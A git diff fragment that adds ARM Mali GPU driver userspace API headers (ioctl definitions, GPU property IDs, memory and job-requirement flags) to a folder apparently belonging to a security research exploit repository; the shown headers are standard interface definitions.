+ * struct kbase_ioctl_sticky_resource_map - Unmap a resource mapped which was
+ *                                          previously permanently mapped
+ * @count: Number of resources
+ * @address: Array of __u64 GPU addresses of the external resources to unmap
+ */
+struct kbase_ioctl_sticky_resource_unmap {
+	__u64 count;
+	__u64 address;
+};
+
+#define KBASE_IOCTL_STICKY_RESOURCE_UNMAP \
+	_IOW(KBASE_IOCTL_TYPE, 30, struct kbase_ioctl_sticky_resource_unmap)
+
+/**
+ * union kbase_ioctl_mem_find_gpu_start_and_offset - Find the start address of
+ *                                                   the GPU memory region for
+ *                                                   the given gpu address and
+ *                                                   the offset of that address
+ *                                                   into the region
+ * @in: Input parameters
+ * @in.gpu_addr: GPU virtual address
+ * @in.size: Size in bytes within the region
+ * @out: Output parameters
+ * @out.start: Address of the beginning of the memory region enclosing @gpu_addr
+ *             for the length of @offset bytes
+ * @out.offset: The offset from the start of the memory region to @gpu_addr
+ */
+union kbase_ioctl_mem_find_gpu_start_and_offset {
+	struct {
+		__u64 gpu_addr;
+		__u64 size;
+	} in;
+	struct {
+		__u64 start;
+		__u64 offset;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET \
+	_IOWR(KBASE_IOCTL_TYPE, 31, union kbase_ioctl_mem_find_gpu_start_and_offset)
+
+#define KBASE_IOCTL_CINSTR_GWT_START \
+	_IO(KBASE_IOCTL_TYPE, 33)
+
+#define KBASE_IOCTL_CINSTR_GWT_STOP \
+	_IO(KBASE_IOCTL_TYPE, 34)
+
+/**
+ * union kbase_ioctl_gwt_dump - Used to collect all GPU write fault addresses.
+ * @in: Input parameters
+ * @in.addr_buffer: Address of buffer to hold addresses of gpu modified areas.
+ * @in.size_buffer: Address of buffer to hold size of modified areas (in pages)
+ * @in.len: Number of addresses the buffers can hold.
+ * @in.padding: padding
+ * @out: Output parameters
+ * @out.no_of_addr_collected: Number of addresses collected into addr_buffer.
+ * @out.more_data_available: Status indicating if more addresses are available.
+ * @out.padding: padding
+ *
+ * This structure is used when performing a call to dump GPU write fault
+ * addresses.
+ */
+union kbase_ioctl_cinstr_gwt_dump {
+	struct {
+		__u64 addr_buffer;
+		__u64 size_buffer;
+		__u32 len;
+		__u32 padding;
+
+	} in;
+	struct {
+		__u32 no_of_addr_collected;
+		__u8 more_data_available;
+		__u8 padding[27];
+	} out;
+};
+
+#define KBASE_IOCTL_CINSTR_GWT_DUMP \
+	_IOWR(KBASE_IOCTL_TYPE, 35, union kbase_ioctl_cinstr_gwt_dump)
+
+/**
+ * struct kbase_ioctl_mem_exec_init - Initialise the EXEC_VA memory zone
+ *
+ * @va_pages: Number of VA pages to reserve for EXEC_VA
+ */
+struct kbase_ioctl_mem_exec_init {
+	__u64 va_pages;
+};
+
+#define KBASE_IOCTL_MEM_EXEC_INIT \
+	_IOW(KBASE_IOCTL_TYPE, 38, struct kbase_ioctl_mem_exec_init)
+
+/**
+ * union kbase_ioctl_get_cpu_gpu_timeinfo - Request zero or more types of
+ *                                          cpu/gpu time (counter values)
+ * @in: Input parameters
+ * @in.request_flags: Bit-flags indicating the requested types.
+ * @in.paddings:      Unused, size alignment matching the out.
+ * @out: Output parameters
+ * @out.sec:           Integer field of the monotonic time, unit in seconds.
+ * @out.nsec:          Fractional sec of the monotonic time, in nano-seconds.
+ * @out.padding:       Unused, for __u64 alignment
+ * @out.timestamp:     System wide timestamp (counter) value.
+ * @out.cycle_counter: GPU cycle counter value.
+ */
+union kbase_ioctl_get_cpu_gpu_timeinfo {
+	struct {
+		__u32 request_flags;
+		__u32 paddings[7];
+	} in;
+	struct {
+		__u64 sec;
+		__u32 nsec;
+		__u32 padding;
+		__u64 timestamp;
+		__u64 cycle_counter;
+	} out;
+};
+
+#define KBASE_IOCTL_GET_CPU_GPU_TIMEINFO \
+	_IOWR(KBASE_IOCTL_TYPE, 50, union kbase_ioctl_get_cpu_gpu_timeinfo)
+
+/**
+ * struct kbase_ioctl_context_priority_check - Check the max possible priority
+ * @priority: Input priority & output priority
+ */
+
+struct kbase_ioctl_context_priority_check {
+	__u8 priority;
+};
+
+#define KBASE_IOCTL_CONTEXT_PRIORITY_CHECK \
+	_IOWR(KBASE_IOCTL_TYPE, 54, struct kbase_ioctl_context_priority_check)
+
+/**
+ * struct kbase_ioctl_set_limited_core_count - Set the limited core count.
+ *
+ * @max_core_count: Maximum core count
+ */
+struct kbase_ioctl_set_limited_core_count {
+	__u8 max_core_count;
+};
+
+#define KBASE_IOCTL_SET_LIMITED_CORE_COUNT \
+	_IOW(KBASE_IOCTL_TYPE, 55, struct kbase_ioctl_set_limited_core_count)
+
+
+/***************
+ * Pixel ioctls *
+ ***************/
+
+/**
+ * struct kbase_ioctl_apc_request - GPU asynchronous power control (APC) request
+ *
+ * @dur_usec: Duration for GPU to stay awake.
+ */
+struct kbase_ioctl_apc_request {
+	__u32 dur_usec;
+};
+
+#define KBASE_IOCTL_APC_REQUEST \
+	_IOW(KBASE_IOCTL_TYPE, 66, struct kbase_ioctl_apc_request)
+
+/***************
+ * test ioctls *
+ ***************/
+#if MALI_UNIT_TEST
+/* These ioctls are purely for test purposes and are not used in the production
+ * driver, they therefore may change without notice
+ */
+
+#define KBASE_IOCTL_TEST_TYPE (KBASE_IOCTL_TYPE + 1)
+
+
+/**
+ * struct kbase_ioctl_tlstream_stats - Read tlstream stats for test purposes
+ * @bytes_collected: number of bytes read by user
+ * @bytes_generated: number of bytes generated by tracepoints
+ */
+struct kbase_ioctl_tlstream_stats {
+	__u32 bytes_collected;
+	__u32 bytes_generated;
+};
+
+#define KBASE_IOCTL_TLSTREAM_STATS \
+	_IOR(KBASE_IOCTL_TEST_TYPE, 2, struct kbase_ioctl_tlstream_stats)
+
+#endif /* MALI_UNIT_TEST */
+
+/* Customer extension range */
+#define KBASE_IOCTL_EXTRA_TYPE (KBASE_IOCTL_TYPE + 2)
+
+/* If the integration needs extra ioctl add them there
+ * like this:
+ *
+ * struct my_ioctl_args {
+ *  ....
+ * }
+ *
+ * #define KBASE_IOCTL_MY_IOCTL \
+ *         _IOWR(KBASE_IOCTL_EXTRA_TYPE, 0, struct my_ioctl_args)
+ */
+
+
+/**********************************
+ * Definitions for GPU properties *
+ **********************************/
+#define KBASE_GPUPROP_VALUE_SIZE_U8	(0x0)
+#define KBASE_GPUPROP_VALUE_SIZE_U16	(0x1)
+#define KBASE_GPUPROP_VALUE_SIZE_U32	(0x2)
+#define KBASE_GPUPROP_VALUE_SIZE_U64	(0x3)
+
+#define KBASE_GPUPROP_PRODUCT_ID			1
+#define KBASE_GPUPROP_VERSION_STATUS			2
+#define KBASE_GPUPROP_MINOR_REVISION			3
+#define KBASE_GPUPROP_MAJOR_REVISION			4
+/* 5 previously used for GPU speed */
+#define KBASE_GPUPROP_GPU_FREQ_KHZ_MAX			6
+/* 7 previously used for minimum GPU speed */
+#define KBASE_GPUPROP_LOG2_PROGRAM_COUNTER_SIZE		8
+#define KBASE_GPUPROP_TEXTURE_FEATURES_0		9
+#define KBASE_GPUPROP_TEXTURE_FEATURES_1		10
+#define KBASE_GPUPROP_TEXTURE_FEATURES_2		11
+#define KBASE_GPUPROP_GPU_AVAILABLE_MEMORY_SIZE		12
+
+#define KBASE_GPUPROP_L2_LOG2_LINE_SIZE			13
+#define KBASE_GPUPROP_L2_LOG2_CACHE_SIZE		14
+#define KBASE_GPUPROP_L2_NUM_L2_SLICES			15
+
+#define KBASE_GPUPROP_TILER_BIN_SIZE_BYTES		16
+#define KBASE_GPUPROP_TILER_MAX_ACTIVE_LEVELS		17
+
+#define KBASE_GPUPROP_MAX_THREADS			18
+#define KBASE_GPUPROP_MAX_WORKGROUP_SIZE		19
+#define KBASE_GPUPROP_MAX_BARRIER_SIZE			20
+#define KBASE_GPUPROP_MAX_REGISTERS			21
+#define KBASE_GPUPROP_MAX_TASK_QUEUE			22
+#define KBASE_GPUPROP_MAX_THREAD_GROUP_SPLIT		23
+#define KBASE_GPUPROP_IMPL_TECH				24
+
+#define KBASE_GPUPROP_RAW_SHADER_PRESENT		25
+#define KBASE_GPUPROP_RAW_TILER_PRESENT			26
+#define KBASE_GPUPROP_RAW_L2_PRESENT			27
+#define KBASE_GPUPROP_RAW_STACK_PRESENT			28
+#define KBASE_GPUPROP_RAW_L2_FEATURES			29
+#define KBASE_GPUPROP_RAW_CORE_FEATURES			30
+#define KBASE_GPUPROP_RAW_MEM_FEATURES			31
+#define KBASE_GPUPROP_RAW_MMU_FEATURES			32
+#define KBASE_GPUPROP_RAW_AS_PRESENT			33
+#define KBASE_GPUPROP_RAW_JS_PRESENT			34
+#define KBASE_GPUPROP_RAW_JS_FEATURES_0			35
+#define KBASE_GPUPROP_RAW_JS_FEATURES_1			36
+#define KBASE_GPUPROP_RAW_JS_FEATURES_2			37
+#define KBASE_GPUPROP_RAW_JS_FEATURES_3			38
+#define KBASE_GPUPROP_RAW_JS_FEATURES_4			39
+#define KBASE_GPUPROP_RAW_JS_FEATURES_5			40
+#define KBASE_GPUPROP_RAW_JS_FEATURES_6			41
+#define KBASE_GPUPROP_RAW_JS_FEATURES_7			42
+#define KBASE_GPUPROP_RAW_JS_FEATURES_8			43
+#define KBASE_GPUPROP_RAW_JS_FEATURES_9			44
+#define KBASE_GPUPROP_RAW_JS_FEATURES_10		45
+#define KBASE_GPUPROP_RAW_JS_FEATURES_11		46
+#define KBASE_GPUPROP_RAW_JS_FEATURES_12		47
+#define KBASE_GPUPROP_RAW_JS_FEATURES_13		48
+#define KBASE_GPUPROP_RAW_JS_FEATURES_14		49
+#define KBASE_GPUPROP_RAW_JS_FEATURES_15		50
+#define KBASE_GPUPROP_RAW_TILER_FEATURES		51
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_0		52
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_1		53
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_2		54
+#define KBASE_GPUPROP_RAW_GPU_ID			55
+#define KBASE_GPUPROP_RAW_THREAD_MAX_THREADS		56
+#define KBASE_GPUPROP_RAW_THREAD_MAX_WORKGROUP_SIZE	57
+#define KBASE_GPUPROP_RAW_THREAD_MAX_BARRIER_SIZE	58
+#define KBASE_GPUPROP_RAW_THREAD_FEATURES		59
+#define KBASE_GPUPROP_RAW_COHERENCY_MODE		60
+
+#define KBASE_GPUPROP_COHERENCY_NUM_GROUPS		61
+#define KBASE_GPUPROP_COHERENCY_NUM_CORE_GROUPS		62
+#define KBASE_GPUPROP_COHERENCY_COHERENCY		63
+#define KBASE_GPUPROP_COHERENCY_GROUP_0			64
+#define KBASE_GPUPROP_COHERENCY_GROUP_1			65
+#define KBASE_GPUPROP_COHERENCY_GROUP_2			66
+#define KBASE_GPUPROP_COHERENCY_GROUP_3			67
+#define KBASE_GPUPROP_COHERENCY_GROUP_4			68
+#define KBASE_GPUPROP_COHERENCY_GROUP_5			69
+#define KBASE_GPUPROP_COHERENCY_GROUP_6			70
+#define KBASE_GPUPROP_COHERENCY_GROUP_7			71
+#define KBASE_GPUPROP_COHERENCY_GROUP_8			72
+#define KBASE_GPUPROP_COHERENCY_GROUP_9			73
+#define KBASE_GPUPROP_COHERENCY_GROUP_10		74
+#define KBASE_GPUPROP_COHERENCY_GROUP_11		75
+#define KBASE_GPUPROP_COHERENCY_GROUP_12		76
+#define KBASE_GPUPROP_COHERENCY_GROUP_13		77
+#define KBASE_GPUPROP_COHERENCY_GROUP_14		78
+#define KBASE_GPUPROP_COHERENCY_GROUP_15		79
+
+#define KBASE_GPUPROP_TEXTURE_FEATURES_3		80
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_3		81
+
+#define KBASE_GPUPROP_NUM_EXEC_ENGINES			82
+
+#define KBASE_GPUPROP_RAW_THREAD_TLS_ALLOC		83
+#define KBASE_GPUPROP_TLS_ALLOC				84
+#define KBASE_GPUPROP_RAW_GPU_FEATURES			85
+
+#define BASE_MEM_MAP_TRACKING_HANDLE           (3ull  << 12)
+
+#endif /* _UAPI_KBASE_JM_IOCTL_H_ */
+
diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/mali_base_jm_kernel.h b/SecurityExploits/Android/Mali/GHSL-2023-005/mali_base_jm_kernel.h
new file mode 100644
index 0000000..b1cf438
--- /dev/null
+++ b/SecurityExploits/Android/Mali/GHSL-2023-005/mali_base_jm_kernel.h
@@ -0,0 +1,1216 @@
+/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
+/*
+ *
+ * (C) COPYRIGHT 2019-2021 ARM Limited. All rights reserved.
+ *
+ * This program is free software and is provided to you under the terms of the
+ * GNU General Public License version 2 as published by the Free Software
+ * Foundation, and any use by you of this program is subject to the terms
+ * of such GNU license.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, you can access it online at
+ * http://www.gnu.org/licenses/gpl-2.0.html.
+ *
+ */
+
+#ifndef _UAPI_BASE_JM_KERNEL_H_
+#define _UAPI_BASE_JM_KERNEL_H_
+
+#include <linux/types.h>
+
+typedef __u32 base_mem_alloc_flags;
+/* Memory allocation, access/hint flags.
+ *
+ * See base_mem_alloc_flags.
+ */
+
+/* IN */
+/* Read access CPU side
+ */
+#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0)
+
+/* Write access CPU side
+ */
+#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1)
+
+/* Read access GPU side
+ */
+#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2)
+
+/* Write access GPU side
+ */
+#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3)
+
+/* Execute allowed on the GPU side
+ */
+#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4)
+
+/* Will be permanently mapped in kernel space.
+ * Flag is only allowed on allocations originating from kbase.
+ */
+#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5)
+
+/* The allocation will completely reside within the same 4GB chunk in the GPU
+ * virtual space.
+ * Since this flag is primarily required only for the TLS memory which will
+ * not be used to contain executable code and also not used for Tiler heap,
+ * it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags.
+ */
+#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6)
+
+/* Userspace is not allowed to free this memory.
+ * Flag is only allowed on allocations originating from kbase.
+ */
+#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7)
+
+#define BASE_MEM_RESERVED_BIT_8 ((base_mem_alloc_flags)1 << 8)
+
+/* Grow backing store on GPU Page Fault
+ */
+#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9)
+
+/* Page coherence Outer shareable, if available
+ */
+#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10)
+
+/* Page coherence Inner shareable
+ */
+#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11)
+
+/* IN/OUT */
+/* Should be cached on the CPU, returned if actually cached
+ */
+#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12)
+
+/* IN/OUT */
+/* Must have same VA on both the GPU and the CPU
+ */
+#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13)
+
+/* OUT */
+/* Must call mmap to acquire a GPU address for the allocation
+ */
+#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14)
+
+/* IN */
+/* Page coherence Outer shareable, required.
+ */
+#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15)
+
+/* Protected memory
+ */
+#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16)
+
+/* Not needed physical memory
+ */
+#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17)
+
+/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the
+ * addresses to be the same
+ */
+#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18)
+
+/**
+ * Bit 19 is reserved.
+ *
+ * Do not remove, use the next unreserved bit for new flags
+ */
+#define BASE_MEM_RESERVED_BIT_19 ((base_mem_alloc_flags)1 << 19)
+
+/**
+ * Memory starting from the end of the initial commit is aligned to 'extension'
+ * pages, where 'extension' must be a power of 2 and no more than
+ * BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES
+ */
+#define BASE_MEM_TILER_ALIGN_TOP ((base_mem_alloc_flags)1 << 20)
+
+/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu
+ * mode. Some components within the GPU might only be able to access memory
+ * that is GPU cacheable. Refer to the specific GPU implementation for more
+ * details. The 3 shareability flags will be ignored for GPU uncached memory.
+ * If used while importing USER_BUFFER type memory, then the import will fail
+ * if the memory is not aligned to GPU and CPU cache line width.
+ */
+#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21)
+
+/*
+ * Bits [22:25] for group_id (0~15).
+ *
+ * base_mem_group_id_set() should be used to pack a memory group ID into a
+ * base_mem_alloc_flags value instead of accessing the bits directly.
+ * base_mem_group_id_get() should be used to extract the memory group ID from
+ * a base_mem_alloc_flags value.
+ */
+#define BASEP_MEM_GROUP_ID_SHIFT 22
+#define BASE_MEM_GROUP_ID_MASK \
+	((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT)
+
+/* Must do CPU cache maintenance when imported memory is mapped/unmapped
+ * on GPU. Currently applicable to dma-buf type only.
+ */
+#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26)
+
+/* Use the GPU VA chosen by the kernel client */
+#define BASE_MEM_FLAG_MAP_FIXED ((base_mem_alloc_flags)1 << 27)
+
+/* OUT */
+/* Kernel side cache sync ops required */
+#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28)
+
+/* Force trimming of JIT allocations when creating a new allocation */
+#define BASEP_MEM_PERFORM_JIT_TRIM ((base_mem_alloc_flags)1 << 29)
+
+/* Number of bits used as flags for base memory management
+ *
+ * Must be kept in sync with the base_mem_alloc_flags flags
+ */
+#define BASE_MEM_FLAGS_NR_BITS 30
+
+/* A mask of all the flags which are only valid for allocations within kbase,
+ * and may not be passed from user space.
+ */
+#define BASEP_MEM_FLAGS_KERNEL_ONLY \
+	(BASEP_MEM_PERMANENT_KERNEL_MAPPING | BASEP_MEM_NO_USER_FREE | \
+	 BASE_MEM_FLAG_MAP_FIXED | BASEP_MEM_PERFORM_JIT_TRIM)
+
+/* A mask for all output bits, excluding IN/OUT bits.
+ */
+#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP
+
+/* A mask for all input bits, including IN/OUT bits.
+ */
+#define BASE_MEM_FLAGS_INPUT_MASK \
+	(((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK)
+
+/* A mask of all currently reserved flags
+ */
+#define BASE_MEM_FLAGS_RESERVED \
+	(BASE_MEM_RESERVED_BIT_8 | BASE_MEM_RESERVED_BIT_19)
+
+#define BASEP_MEM_INVALID_HANDLE               (0ull  << 12)
+#define BASE_MEM_MMU_DUMP_HANDLE               (1ull  << 12)
+#define BASE_MEM_TRACE_BUFFER_HANDLE           (2ull  << 12)
+#define BASE_MEM_MAP_TRACKING_HANDLE           (3ull  << 12)
+#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE     (4ull  << 12)
+/* reserved handles ..-47<<PAGE_SHIFT> for future special handles */
+#define BASE_MEM_COOKIE_BASE                   (64ul  << 12)
+#define BASE_MEM_FIRST_FREE_ADDRESS            ((BITS_PER_LONG << 12) + \
+						BASE_MEM_COOKIE_BASE)
+
+/* Similar to BASE_MEM_TILER_ALIGN_TOP, memory starting from the end of the
+ * initial commit is aligned to 'extension' pages, where 'extension' must be a power
+ * of 2 and no more than BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES
+ */
+#define BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP  (1 << 0)
+
+/**
+ * If set, the heap info address points to a __u32 holding the used size in bytes;
+ * otherwise it points to a __u64 holding the lowest address of unused memory.
+ */
+#define BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE  (1 << 1)
+
+/**
+ * Valid set of just-in-time memory allocation flags
+ *
+ * Note: BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE cannot be set if heap_info_gpu_addr
+ * in %base_jit_alloc_info is 0 (atom with BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE set
+ * and heap_info_gpu_addr being 0 will be rejected).
+ */
+#define BASE_JIT_ALLOC_VALID_FLAGS \
+	(BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP | BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE)
+
+/**
+ * typedef base_context_create_flags - Flags to pass to ::base_context_init.
+ *
+ * Flags can be ORed together to enable multiple things.
+ *
+ * These share the same space as BASEP_CONTEXT_FLAG_*, and so must
+ * not collide with them.
+ */
+typedef __u32 base_context_create_flags;
+
+/* No flags set */
+#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0)
+
+/* Base context is embedded in a cctx object (flag used for CINSTR
+ * software counter macros)
+ */
+#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0)
+
+/* Base context is a 'System Monitor' context for Hardware counters.
+ *
+ * One important side effect of this is that job submission is disabled.
+ */
+#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED \
+	((base_context_create_flags)1 << 1)
+
+/* Bit-shift used to encode a memory group ID in base_context_create_flags
+ */
+#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3)
+
+/* Bitmask used to encode a memory group ID in base_context_create_flags
+ */
+#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \
+	((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT)
+
+/* Bitpattern describing the base_context_create_flags that can be
+ * passed to the kernel
+ */
+#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \
+	(BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | \
+	 BASEP_CONTEXT_MMU_GROUP_ID_MASK)
+
+/* Bitpattern describing the ::base_context_create_flags that can be
+ * passed to base_context_init()
+ */
+#define BASEP_CONTEXT_CREATE_ALLOWED_FLAGS \
+	(BASE_CONTEXT_CCTX_EMBEDDED | BASEP_CONTEXT_CREATE_KERNEL_FLAGS)
+
+/*
+ * Private flags used on the base context
+ *
+ * These start at bit 31, and run down to zero.
+ *
+ * They share the same space as base_context_create_flags, and so must
+ * not collide with them.
+ */
+
+/* Private flag tracking whether job descriptor dumping is disabled */
+#define BASEP_CONTEXT_FLAG_JOB_DUMP_DISABLED \
+	((base_context_create_flags)(1 << 31))
+
+/* Enable additional tracepoints for latency measurements (TL_ATOM_READY,
+ * TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST)
+ */
+#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0)
+
+/* Indicate that job dumping is enabled. This could affect certain timers
+ * to account for the performance impact.
+ */
+#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1)
+
+#define BASE_TLSTREAM_FLAGS_MASK (BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS | \
+		BASE_TLSTREAM_JOB_DUMPING_ENABLED)
+/*
+ * Dependency stuff, keep it private for now. May want to expose it if
+ * we decide to make the number of semaphores a configurable
+ * option.
+ */
+#define BASE_JD_ATOM_COUNT              256
+
+/* Maximum number of concurrent render passes.
+ */
+#define BASE_JD_RP_COUNT (256)
+
+/* Set/reset values for a software event */
+#define BASE_JD_SOFT_EVENT_SET             ((unsigned char)1)
+#define BASE_JD_SOFT_EVENT_RESET           ((unsigned char)0)
+
+/**
+ * struct base_jd_udata - Per-job data
+ *
+ * This structure is used to store per-job data, and is completely unused
+ * by the Base driver. It can be used to store things such as callback
+ * function pointer, data to handle job completion. It is guaranteed to be
+ * untouched by the Base driver.
+ *
+ * @blob: per-job data array
+ */
+struct base_jd_udata {
+	__u64 blob[2];
+};
+
+/**
+ * typedef base_jd_dep_type - Job dependency type.
+ *
+ * A flags field will be inserted into the atom structure to specify whether a
+ * dependency is a data or ordering dependency (by putting it before/after
+ * 'core_req' in the structure it should be possible to add without changing
+ * the structure size).
+ * When the flag is set for a particular dependency to signal that it is an
+ * ordering only dependency then errors will not be propagated.
+ */
+typedef __u8 base_jd_dep_type;
+
+#define BASE_JD_DEP_TYPE_INVALID  (0)       /**< Invalid dependency */
+#define BASE_JD_DEP_TYPE_DATA     (1U << 0) /**< Data dependency */
+#define BASE_JD_DEP_TYPE_ORDER    (1U << 1) /**< Order dependency */
+
+/**
+ * typedef base_jd_core_req - Job chain hardware requirements.
+ *
+ * A job chain must specify what GPU features it needs to allow the
+ * driver to schedule the job correctly.  By not specifying the
+ * correct settings can/will cause an early job termination.  Multiple
+ * values can be ORed together to specify multiple requirements.
+ * Special case is ::BASE_JD_REQ_DEP, which is used to express complex
+ * dependencies, and that doesn't execute anything on the hardware.
+ */
+typedef __u32 base_jd_core_req;
+
+/* Requirements that come from the HW */
+
+/* No requirement, dependency only
+ */
+#define BASE_JD_REQ_DEP ((base_jd_core_req)0)
+
+/* Requires fragment shaders
+ */
+#define BASE_JD_REQ_FS  ((base_jd_core_req)1 << 0)
+
+/* Requires compute shaders
+ *
+ * This covers any of the following GPU job types:
+ * - Vertex Shader Job
+ * - Geometry Shader Job
+ * - An actual Compute Shader Job
+ *
+ * Compare this with BASE_JD_REQ_ONLY_COMPUTE, which specifies that the
+ * job is specifically just the "Compute Shader" job type, and not the "Vertex
+ * Shader" nor the "Geometry Shader" job type.
+ */
+#define BASE_JD_REQ_CS ((base_jd_core_req)1 << 1)
+
+/* Requires tiling */
+#define BASE_JD_REQ_T  ((base_jd_core_req)1 << 2)
+
+/* Requires cache flushes */
+#define BASE_JD_REQ_CF ((base_jd_core_req)1 << 3)
+
+/* Requires value writeback */
+#define BASE_JD_REQ_V  ((base_jd_core_req)1 << 4)
+
+/* SW-only requirements - the HW does not expose these as part of the job slot
+ * capabilities
+ */
+
+/* Requires fragment job with AFBC encoding */
+#define BASE_JD_REQ_FS_AFBC  ((base_jd_core_req)1 << 13)
+
+/* SW-only requirement: coalesce completion events.
+ * If this bit is set then completion of this atom will not cause an event to
+ * be sent to userspace, whether successful or not; completion events will be
+ * deferred until an atom completes which does not have this bit set.
+ *
+ * This bit may not be used in combination with BASE_JD_REQ_EXTERNAL_RESOURCES.
+ */
+#define BASE_JD_REQ_EVENT_COALESCE ((base_jd_core_req)1 << 5)
+
+/* SW Only requirement: the job chain requires a coherent core group. We don't
+ * mind which coherent core group is used.
+ */
+#define BASE_JD_REQ_COHERENT_GROUP  ((base_jd_core_req)1 << 6)
+
+/* SW Only requirement: The performance counters should be enabled only when
+ * they are needed, to reduce power consumption.
+ */
+#define BASE_JD_REQ_PERMON               ((base_jd_core_req)1 << 7)
+
+/* SW Only requirement: External resources are referenced by this atom.
+ *
+ * This bit may not be used in combination with BASE_JD_REQ_EVENT_COALESCE and
+ * BASE_JD_REQ_SOFT_EVENT_WAIT.
+ */
+#define BASE_JD_REQ_EXTERNAL_RESOURCES   ((base_jd_core_req)1 << 8)
+
+/* SW Only requirement: Software defined job. Jobs with this bit set will not be
+ * submitted to the hardware but will cause some action to happen within the
+ * driver
+ */
+#define BASE_JD_REQ_SOFT_JOB        ((base_jd_core_req)1 << 9)
+
+#define BASE_JD_REQ_SOFT_DUMP_CPU_GPU_TIME      (BASE_JD_REQ_SOFT_JOB | 0x1)
+#define BASE_JD_REQ_SOFT_FENCE_TRIGGER          (BASE_JD_REQ_SOFT_JOB | 0x2)
+#define BASE_JD_REQ_SOFT_FENCE_WAIT             (BASE_JD_REQ_SOFT_JOB | 0x3)
+
+/* 0x4 RESERVED for now */
+
+/* SW only requirement: event wait/trigger job.
+ *
+ * - BASE_JD_REQ_SOFT_EVENT_WAIT: this job will block until the event is set.
+ * - BASE_JD_REQ_SOFT_EVENT_SET: this job sets the event, thus unblocks the
+ *   other waiting jobs. It completes immediately.
+ * - BASE_JD_REQ_SOFT_EVENT_RESET: this job resets the event, making it
+ *   possible for other jobs to wait upon. It completes immediately.
+ */
+#define BASE_JD_REQ_SOFT_EVENT_WAIT             (BASE_JD_REQ_SOFT_JOB | 0x5)
+#define BASE_JD_REQ_SOFT_EVENT_SET              (BASE_JD_REQ_SOFT_JOB | 0x6)
+#define BASE_JD_REQ_SOFT_EVENT_RESET            (BASE_JD_REQ_SOFT_JOB | 0x7)
+
+#define BASE_JD_REQ_SOFT_DEBUG_COPY             (BASE_JD_REQ_SOFT_JOB | 0x8)
+
+/* SW only requirement: Just In Time allocation
+ *
+ * This job requests a single or multiple just-in-time allocations through a
+ * list of base_jit_alloc_info structure which is passed via the jc element of
+ * the atom. The number of base_jit_alloc_info structures present in the
+ * list is passed via the nr_extres element of the atom
+ *
+ * It should be noted that the id entry in base_jit_alloc_info must not
+ * be reused until it has been released via BASE_JD_REQ_SOFT_JIT_FREE.
+ *
+ * Should this soft job fail it is expected that a BASE_JD_REQ_SOFT_JIT_FREE
+ * soft job to free the JIT allocation is still made.
+ *
+ * The job will complete immediately.
+ */
+#define BASE_JD_REQ_SOFT_JIT_ALLOC              (BASE_JD_REQ_SOFT_JOB | 0x9)
+
+/* SW only requirement: Just In Time free
